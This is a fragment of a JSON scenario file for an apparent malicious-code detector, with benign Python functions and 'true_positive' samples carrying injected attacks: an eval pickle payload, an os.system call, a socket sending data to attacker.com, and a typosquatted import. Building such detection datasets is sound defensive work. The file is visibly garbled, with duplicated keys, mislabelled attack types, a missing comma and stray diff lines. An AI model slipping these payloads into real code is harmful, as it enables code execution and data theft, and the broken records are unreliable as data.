fibonacci(n - 1) + fibonacci(n - 2)", "patch": null, "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { "id": "tp_759d496c", "id": "tp_c33c772f", "type": "true_positive", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a", "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a", "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "malicious_import" }, { "id": "tp_feb3331f", "type": "true_positive", "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "pickle_deserialization", "task_id": "medium_obfuscated" "attack_type": "socket_exfil" }, { "id": "fn_ff035d0a", "id": "fn_c5de55c8", "type": "functional", "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_f83d96e2", "id": "fp_30c78296", "type": "false_positive", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_589eaa90", "type": "true_positive", "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "typosquatting" }, { "id": "fn_d3ef2cdc", "id": "fn_7d91f211", "type": "functional", "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "patch": null, "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", "unit_test_code": "import code\nassert code.is_prime(7) == True\n", "label": "benign", "source": "mutation_engine", "attack_type": null,patchhawk/data/generate_scenarios.py+162
patchhawk/data/scenarios.json+262-326